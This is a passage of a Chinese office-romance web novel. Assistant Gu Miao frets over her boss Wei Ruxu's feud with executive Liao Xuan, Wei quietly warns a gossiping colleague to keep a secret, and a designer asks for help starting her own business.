“……”顾妙不屑地哼了一声,“我还不想知道呢,费脑子!” 上班第一天就是全天的会,顾妙跟着魏如栩一起,开得头昏脑涨,脑子里几个项目快要串台。 在会上见了方德潜和喻真,她有点不能直视,好几次都把目光生硬地移开。这情况不免被喻真察觉,于是顾妙又接连几次撞上喻真探究的眼神,她还能怎么办呢,除了装瞎没有任何好办法。 情况严峻的依然是世纪明光的电动平衡车项目,会上廖玄的脸简直黑得像锅底,但是他令人意外地一言不发,只是偶尔看向魏如栩的眼神充满了怨毒,仿佛被魏如栩挖了祖坟似的。 据顾妙了解,这个项目的提案投标会还要过一阵子才开,不至于现在就预测到了失败吧?况且就算失败,跟魏如栩有什么关系呢? 不过话又说回来,她还真的第一次见能拖这么久的广告项目,估计跟孙总被撤换有关。 假期的后几天,世纪明光因为孙总的性骚扰事件在热搜上挂了几天。那热搜简直是按起葫芦浮起瓢,撤了这个tag,另一个tag又冲上榜,危机公关做得也不怎么样,事情没有尽快抚平,假期刚结束的第一天,世纪明光的股票就跌停了。 一粒老鼠屎坏了一锅汤,怎一个惨字了得。 可顾妙就觉得活该,谁叫他们护着姓孙的。咸猪手的人有第一次就会有无数次,跟他在一起工作的人不可能完全不知道。 别以为老板身在高位,不会注意到这种事情。顾妙做了总助之后才发现,公司就属八卦传得快,这大老板就像是监考老师,其实下面学生做点小动作都知道得一清二楚,只是有些事情他们选择性忽视罢了。 如果公司老板早就对孙总进行处理,也不会导致今天这么严重的后果。现在闹成这样,顾妙真是一点都不同情他们。 一句“散会”,把她从走神中拉了回来。与会人员个个疲惫不堪,收拾东西陆续离开会议室。魏如栩被廖玄叫住,留下来商量事儿,顾妙便抱着电脑自己回了办公室。 整理了一会儿会议记录,她看看时间,发现已经过去了半小时,而魏如栩还没回来,根据前几次的经验,她的心又提了起来。 不会两个人又吵架了吧? 顾妙出了办公室,站在离二楼走廊岔路口,伸着脖子向会议室张望,像一只呆头呆脑的大鹅。 她不太敢去会议室门口,免得又被人以为是在偷听。但她确实又有点想偷听,以便在恰当的时间闯进去,阻止魏如栩和廖玄两个人可能会发生的冲突。 魏如栩见完老魏总,回来没跟她说起过父亲对他这两个月的表现有什么评价。但顾妙向来爱在她关心的人身上未雨绸缪,想着老魏总很快就回国了,魏如栩还是不要再跟廖玄爆发什么矛盾的好。 顾妙正胡思乱想着,没注意到车翔从办公室里出来,走到她身后,突然出声:“在这发什么呆呢?” 注意力高度集中的顾妙被吓了一跳,倒抽了一口凉气,才捂着胸口那颗砰砰乱跳的小心脏说:“没什么。廖总还在跟小魏总聊吗?” “应该是吧,他也没回来。” “他俩怎么聊这么久,不会又吵架吧?”顾妙忧心忡忡。 车翔笑了:“吵就吵呗,你担心什么?就算打起来,小魏总也不吃亏啊。” 顾妙:“……” 看热闹不嫌事大么? “别介意,我就看你太紧张了,像只护崽的老母鸡,开个玩笑。”车翔说,“他们之间有冲突很正常,都是成年人了自己能处理好。” 顾妙心里想,你才老母鸡,你全家都是老母鸡。 “喏,这不出来了。”车翔看向会议室的方向,仍是调侃的口吻,“我看小魏总全须全尾的,应该没事。” 顾妙一听他说,立刻回头看,果然看见魏如栩冲他们走过来,对着她笑了笑。 唔,脸上没伤,脸也没红,看起来不像有事的样子。 不过廖玄为什么没一起出来呢?如果没有冲突的话,俩人不应该一起吗? 魏如栩走到顾妙面前:“怎么在这儿站着?” “哦……”顾妙冲旁边车翔一扬下巴,“说会儿话。” 车翔:“……” 大姐你不要坑我啊! “是吗?都说什么了?”魏如栩意味深长地看了车翔一眼。 车翔连连摆手:“没说什么,我也刚从办公室出来。” 顾妙正全身心地思考魏如栩跟廖玄之间到底有没有事,并没注意到她小魏总语气中的不寻常。 魏如栩看向顾妙:“走吧?还打算再聊会儿?” 顾妙:“!!” 怎么听起来这么阴阳怪气的?! 她看了魏如栩一眼,冲车翔一点头,向办公室走去。 “那我也回去了!”车翔赶紧脚底抹油,敏感如他,刚刚就觉得魏如栩的情绪不太对劲。 魏如栩看了看顾妙的背影,转身尾随车翔进了副总办公室。 车翔一转身,发现有个背后灵,冷不丁打了个哆嗦:“小魏总,你……你有什么事吗?” “我知道你爱背后嚼舌根,一个大男人有这种爱好也是挺特别的。”魏如栩友好地看着他,语气不温不火,“但那件事,你要敢跟顾妙提一个字,就连廖玄也保不了你,记住了吗?” 车翔这才发现,野兽不仅龇牙咧嘴的时候吓人,他在你面前漫不经心地舔着牙齿的时候,也特么的让人一身冷汗! 于是他试图装傻:“什么事啊?我……” “在我面前就别装了,廖玄知道的事儿,你会不知道?”魏如栩好整以暇地看着他,“话我就说到这儿,听没听懂,照不照办,你自己决定,能承担后果就行。” 说罢,他还饶有兴趣地低下头,凑近车翔的脸,笑道:“我这不算威胁你吧?” 车翔突如其来一阵腿软 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“聊够了,换个人聊聊。”魏如栩转身向廖玄一笑,伸手猛地拍了拍车翔的肩膀,把他吓得又是一抖,“上次喝过车翔冲的咖啡,觉得不错,一时兴起,想过来蹭一蹭。谁知道他说没豆了。” 车翔打蛇随棍上,赶紧说:“办公室里豆子放了几天不太新鲜了,我刚跟表哥说了送新烘好的的豆子过来,回头再请您过来尝尝鲜。” 魏如栩点头:“唔,那我就等着了。走了,廖叔叔。” 廖玄阴鸷的目光目送魏如栩离开,才转头问车翔:“他跟你说什么?” “……”车翔想起魏如栩那毒蛇一样的眼神,“没什么……” “你觉得我信?”廖玄嗤笑一声。 车翔:“呃……” 他还没“呃”出个所以然来,廖玄摆了摆手:“随便吧,爱说什么说什么,我也没兴趣知道。那件事,你想办法告诉顾妙。” 车翔:“……” 廖总啊我腿还软着呢! 他正斟酌着想跟廖玄探讨这件事情,廖玄突然又否定了自己:“唔,也不用着急,现在不是时候,再过一阵子看吧。唉,真他妈红颜祸水。” 魏如栩抄着口袋溜溜达达地进了自己的办公室,顾妙抬头疑问地看着他。 “看我干什么?”魏如栩心想难道我的表情调整得不够好吗? 顾妙:“不是回来吗,你去哪了?” “去厕所啊。”魏如栩哑然失笑,“请问这事儿也得给顾助理报备吗?” “你跟廖玄没事吧?”顾妙不理他的玩笑。 “有事。” 顾妙顿时紧张了起来:“?!” “我跟他情定三生,私定终身了。”魏如栩话一说出来,自己先打了个冷战,“撤回撤回,太恶心了。” “如果意见不合,你跟他好好说,消极抵抗也行,但是别跟他吵架,免得他去老魏总那说你的不是。”顾妙站起来看着他,突然觉得自己确实有点像护崽老母鸡,“下半年的业绩要是不好看,老魏总会怪你吧?” “怪就怪呗,是他把我这个纨绔子弟放在这儿的,干不好他先得怪自己。”魏如栩坐在顾妙的桌角上,拿起她桌上的笔在修长的手指上转着,“顾助理你不要太天真,就算我对廖玄百依百顺,他在我爸那里也有话说,我又何必为难自己呢?” “你们俩真的又有矛盾了?”顾妙盯着魏如栩。 魏如栩愣怔了一秒钟,“噗嗤”一声笑了出来:“可以啊,都学会套话了。” 顾妙翻了个白眼:“这次又是什么事?” “没什么事,不过就是几个项目的想法不太一致。”魏如栩笑了笑,“我俩之间有矛盾不正常吗?你有什么可担心的。” “我当然担心了!”顾妙说,“上次你把我从KTV带走,等于直接卷了他的面子,之后那几天我见他看你的眼神都不对,凶得像要吃人似的。” “有本事他来吃啊!我又不怕他。”魏如栩手中的笔转了几圈,“不对,这话怎么听起来怪怪的。” 顾妙恼火地说:“麻烦你认真一点。这事儿我想来想去都觉得不太好,尽管咱俩是朋友……” 诶,说到这个词顾妙自己都觉得有点,怎么说呢,欲盖弥彰。 但她咬了咬牙继续说:“但我还是你的助理,是你的员工,我不希望你在公司的人面前过于明显护着我,免得落人口实。我知道你上次是为了帮我,以后再遇到这样的事,我会做两手准备,比如……可以向盛总求助,对,他是我未来姨夫,我找他帮忙合情合理。” 魏如栩面无表情地看着她,没说话。 顾妙见他这样,有点心虚,解释道:“我真没别的意思,就是不想因为我的事影响到你,叫人说你徇私护短。你……你别生气……” “哦——”魏如栩拖了个长音,认真地说,“我明白了,你是怕当妖妃。” 顾妙:“……” 此时此刻很想砸烂小魏总的狗头! “行了,别紧张,跟你开个玩笑。这事儿我心里有数,以后不会让你再为难了。”魏如栩把笔放回笔筒里,“时间差不多了,准备下班吧。” 他表情一切正常,但顾妙还是觉得自己好像个碧池,伤了魏如栩想要保护她的心。 她自小就被教育,人的善意很珍贵,一定要珍惜,可是面对目前这个情况,她又不得不去拒绝。如果再放任魏如栩这么做的话,最后被人嘲笑的会是他而不是自己。 她不能接受这种结果。 如果我离开他远一点,是不是会好一些?顾妙突然想。 “妙妙姐?” 戚滢滢的声音把她拉回了现实,让那个在她心里一闪而过的念头没来得及生根发芽就被挤到一边去了。 顾妙:“哦,滢滢,有事?” “我来找小魏总,嗯……和你。”戚滢滢似乎有点不好意思,向办公室里边张望了一下。 魏如栩听见了她的声音,拎着外套出来:“什么事?” “我慎重考虑了一下,抄袭设计那事儿我决定不起诉,太耗时间了。”戚滢滢的脸红了起来,“我……我还是……” “没事,一个决定而已,不代表什么。别怕,这里又没人会拿这种事评判你。”魏如栩温和地说。 顾妙:“就是,别多想。换了我可能也觉得麻烦,不过以后还是得注意保护自己的设计,能申请版权认证什么的最好。” 戚滢滢点点头:“嗯,我也是这么想的,另外,还有第二件事。” 她扬起圆圆的脸,眼睛亮亮地看着魏如栩,眼神充满希望:“老板,我……我想创业了,你……之前说会帮我,现在还算数吗?”